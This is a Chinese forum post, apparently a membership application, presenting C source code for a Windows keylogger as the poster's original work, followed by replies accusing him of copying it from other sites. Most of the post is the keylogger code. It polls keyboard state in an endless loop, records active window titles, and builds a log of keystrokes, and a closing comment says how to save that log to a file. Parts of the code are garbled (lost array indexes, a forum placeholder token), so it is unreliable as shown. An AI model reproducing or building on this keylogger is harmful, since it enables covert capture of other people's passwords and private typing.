申 请 I D:江少
1、申 请 I D:江少2、个人邮箱:321648591@qq.com
3、原创技术文章:c语言键盘记录源码
本人初中狗一名,仅抱着对计算机的热爱,编写各种程序,软件,C语言。
#include <windows.h>
#include <stdio.h>
// 一些全局变量
// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"",
"",
" ",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// 大写字母键 & 其它一些键
char *UpperCase[]={
"b",
"e",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"~",
"!",
"@",
"#",
"[ DISCUZ_CODE_0 ]quot;,
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"",
"",
" ",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};
HWND PreviousFocus=NULL;
// 数据结束
// 函数原型生命
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// 函数原型声明结束
// 主要的过程
int main()
{
KeyLogger(); // 进行键盘记录
return 0; // 程序退出
}
// 主要过程结束
//-------------------------------------------------------------------------
// 目的:要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
BOOL ReturnFlag = FALSE; // 声明返回标志
if (hFocus != PreviousFocus) // 如果活动窗口已更改
{
PreviousFocus = hFocus; // 保存旧活动的 Windos 焦点
int WinLeng = GetWindowTextLength(hFocus); // 获取活动窗口标题的长度
char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // 给标题分配内存
GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // 活动窗口标题检索
if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
{
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
}
free(WindowCaption); // 释放已分配的内存
}
return ReturnFlag; // 返回标志
}// 结束获得窗口焦点变化
//-------------------------------------------------------------------------
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate = {0}; // 关键声明
int i,x;
char KeyBuffer; // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;
// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));
while(TRUE) // 创造一个死循环(无限次获得用户的键盘内容)
{
Sleep(8); // 避免过度占用CPU
if (IsWindowsFocusChange()) //检查活动窗口标题
{
if (strlen(KeyBuffer) != 0) // 如果按下了键
{
printf("%s\r\n",KeyBuffer); // 显示按下的这个键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
}
}
for(i=0;i<95;i++) // 检查视觉的循环
{
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
x = SpecialKeys; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
// 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
{
bKstate = 1; //大写字母 A-Z
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
{
bKstate = 2; //小写字母 a-z
}
else
if (shift < 0) //按下 shift 键
{
bKstate = 3; //大写字母 A-Z
}
else
bKstate = 4; //小写字母 a-z
}
else
{
if (bKstate != 0) // 没有检测到的组合键
{
state = bKstate; // 检索当前状态
bKstate = 0; // 重置当前状态
if (x == 8) // 如果检测到删除键
{
KeyBuffer = 0; // 一键恢复
continue; // 启动一个新的循环
}
else
if (strlen(KeyBuffer) > 550) // 缓冲区满
{
printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
memset(KeyBuffer,0,sizeof(KeyBuffer)); //重置缓冲区
continue; // 开始一个新循环
}
else
if (x == 13) // 如果检测到Enter键
{
if (strlen(KeyBuffer) == 0) // 除Enter键之外没有检测到其它键
{
continue; // 开始一个新循环
}
printf("%s<Enter>\r\n",KeyBuffer); // 检索Enter键和其它键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 显示Enter键
continue; // 开始一个新循环
}
else
if ((state%2) == 1) //必须是大写字符
{
strcat(KeyBuffer,UpperCase); // 存储一个键到缓冲区
}
else
if ((state%2) == 0) // 必须是小写字符
{
strcat(KeyBuffer,LowerCase); // 存储一个键到缓冲区
}
}
}
}// 结束for循环
}// 结束while循环
return TRUE; // 返回一个值并结束函数
}// 结束键盘记录
// 结束文件
//如果想把结果保存下来,只需要把其中的输出函数替换为输出到文件就可以了
这申请内容到处都是,你是原作者吗? 楼主,自力更生吧 如果是原作者的话能有这个能力也挺不错
话说“江少”这个ID还没被占用啊?
http://www.zixue7.com/thread-647-1-1.html 到处都是楼主原创? 别来丢人了 呵呵 这个是原创么? http://tieba.baidu.com/p/2733857412到处都是楼主原创? Aliman 发表于 2016-2-16 19:07
http://tieba.baidu.com/p/2733857412到处都是楼主原创?
呵呵,大神好厉害啊,这些帖子都能找到啊